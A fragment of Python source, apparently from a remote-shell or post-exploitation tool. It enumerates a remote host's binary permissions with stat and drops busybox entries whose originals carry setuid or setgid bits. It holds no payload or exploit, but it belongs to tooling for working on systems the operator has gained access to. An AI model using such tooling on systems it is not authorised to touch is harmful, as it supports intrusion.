        # prune any entries which the system marks as SETUID or SETGID
        stat = self.which("stat", quote=True)

        if stat is not None:
            util.progress("enumerating remote binary permissions")
            which_provides = [f"`which {p}`" for p in provides]
            new_provides = []

            with self.subprocess(
                f"{stat} -c %A {' '.join(which_provides)}", "r"
            ) as pipe:
                for name, perms in zip(provides, pipe):
                    perms = perms.decode("utf-8").strip().lower()
                    if "no such" in perms:
                        # The remote system doesn't have this binary
                        continue
                    if "s" not in perms:
                        util.progress(
                            f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox"
                        )
                        new_provides.append(name)
                    else:
                        util.progress(
                            f"pruning {Fore.RED}{name}{Fore.RESET} from busybox"
                        )

            util.success(f"pruned {len(provides)-len(new_provides)} setuid entries")
            provides = new_provides

        # Let the class know we now have access to busybox
        self.busybox_provides = provides
        self.has_busybox = True
        self.busybox_path = busybox_remote_path